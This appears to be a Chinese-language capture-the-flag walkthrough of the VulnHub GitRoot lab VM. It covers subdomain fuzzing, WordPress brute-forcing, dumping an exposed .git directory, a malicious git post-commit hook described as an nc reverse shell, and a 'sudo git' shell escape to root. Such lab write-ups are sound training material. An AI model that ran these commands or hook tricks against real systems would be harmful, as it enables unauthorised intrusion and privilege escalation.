下载地址:https://download.vulnhub.com/gitroot/GitRoot.ova
攻击者IP:192.168.56.132 桥接(自动) vmare
受害者IP:192.168.56.103 仅主机 vxbox
主机发现
端口扫描
nmap -sS -Pn -n --open --min-parallelism 100 -T4 -v -p- 192.168.56.103
提示有wp
目录扫描
发现是apache的首页
首页的提升可能是让修改host文件
192.168.56.103 wp.gitroot.vuln
wpscan直接开扫
wpscan --url http://wp.gitroot.vuln/ -e u
发现用户beth
wpscan --url http://wp.gitroot.vuln/ -U "beth" -P /usr/share/wordlists/rockyou.txt
爆破无果
wp.gitroot.vuln是子域名,将主站也加入
爆破子域名
ffuf -c -u 'http://wp.gitroot.vuln' -H 'host: FUZZ.gitroot.vuln' -w /usr/share/wordlists/dirb/big.txt -mc all -fs 191 -fc 400
-fc是过滤响应码
-fs是过滤响应大小
发现repo
主页提示get.php和set.php
访问后没啥信息
目录扫描
dirsearch -u http://repo.gitroot.vuln/
发现存在git的残留文件
使用git-dumper导出文件
git-dumper http://repo.gitroot.vuln/ git_files
发现一个像密码的东西
爆破了很久,通过wp得知
用户名:pablo,密码:mastergitar
ssh连接
public文件夹发现message.txt,提示还有git文件
find / -name "git" 2>/dev/null
在logs目录里面发现一堆命令
由于里面有大量重复命令,使用grep排除一下
cat HEAD | grep -v "init repo" | grep -v "moving"
或者使用一下命令
cat HEAD | grep -v -e "init repo" -e "moving"
grep -v -e "init repo" -e "moving" HEAD
grep -v:用于排除匹配的行。
-e:指定多个排除条件。
"init repo" 和 "moving":要排除的模式。
最终发现以下纪录
b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name [email protected] 1590500148 -0400 commit: added some stuff
使用git show命令查看commit提交记录详情
git show 06fbefc1da56b8d552cfa299924097ba1213dd93
r3vpdmspqdb
使用这个密码可以切换到beth用户
你好,贝丝如果你想加入我的存储库,你可以将一个 zip 文件添加到 ~jen/public/repos/,然后我会解压缩它并将其添加到我的存储库中。谢谢!
在beth目录下,新建.git/hooks文件夹,建一个post-commit文件,里面写入使用nc反弹shell的一句话,文件给777权限,再将.git文件夹压缩成zip格式,再给777权限,复制压缩包到/home/jen/public/repos
beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks
beth@GitRoot:~/.git/hooks$ vim post-commit
beth@GitRoot:~/.git/hooks$ chmod 7777 post-commit
beth@GitRoot:~/.git/hooks$ cd ~
beth@GitRoot:~$ 7z a xshell.zip .git/
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 20
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=ASM,AES-NI)
Scanning the drive:
2 folders, 1 file, 59 bytes (1 KiB)
Creating archive: xshell.zip
Items to compress: 3
Files read from disk: 1
Archive size: 491 bytes (1 KiB)
Everything is Ok
beth@GitRoot:~$ ls -l xshell.zip
-rw-r--r-- 1 beth beth 491 Oct 24 11:22 xshell.zip
beth@GitRoot:~$ chmod 777 xshell.zip
beth@GitRoot:~$ ls -l xshell.zip
-rwxrwxrwx 1 beth beth 491 Oct 24 11:22 xshell.zip
beth@GitRoot:~$ cp xshell.zip /home/jen/public/repos
发现隐藏文件.viminfo
.viminfo 保存了 Vim 的一些状态信息,比如历史命令、最近编辑的文件等。当你关闭 Vim 并重新打开时,Vim 可以通过读取 .viminfo 文件恢复这些状态。
#这个viminfo文件是由Vim 8.1生成的。
#小心的话可以编辑一下!
# Viminfo版本
|1,4
#写入此文件时“编码”的值
*编码=utf-8
# hlsearch开(H)或关(H):
~h
#命令行历史记录(从最新到最早):
:wq
|2,0,1590471909," wq "
:q!
|2,0,1590471893," q!"
:Q!
|2,0,1590471892," Q!"
#搜索字符串历史记录(从最新到最早):
?/binzpbeocnexoe
|2,1,1590471908,47," binzpbeocnexoe "
#表达式历史(从最新到最早):
#输入行历史记录(从最新到最早):
#调试行历史记录(从最新到最早):
#寄存器:
#文件标记:
0 1 0 ~/test.txt
|4,48,1,0,1590471909," ~/test.txt "
1 1 0 ~/test.txt
|4,49,1,0,1590471893," ~/test.txt "
#跳转列表(最新优先):
-' 1 0 ~/test.txt
|4,39,1,0,1590471909," ~/test.txt "
-' 1 0 ~/test.txt
|4,39,1,0,1590471893," ~/test.txt "
#文件内标记的历史记录(从最新到最早):
> ~/test.txt
* 1590471908 0
" 1 0
记录了最近搜索的字符串 /binzpbeocnexoe。
~/test.txt 文件的标记,表示文件的光标位置等
binzpbeocnexoe可能是密码
用户jen的密码,sudo -l提示用户jen可以在GitRoot上运行以下命令:(ALL) /usr/bin/git
git提权
https://gtfobins.github.io/gtfobins/git/#sudo
sudo git -p help config !/bin/sh
原文始发于微信公众号(王之暴龙战神):GitRoot_1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论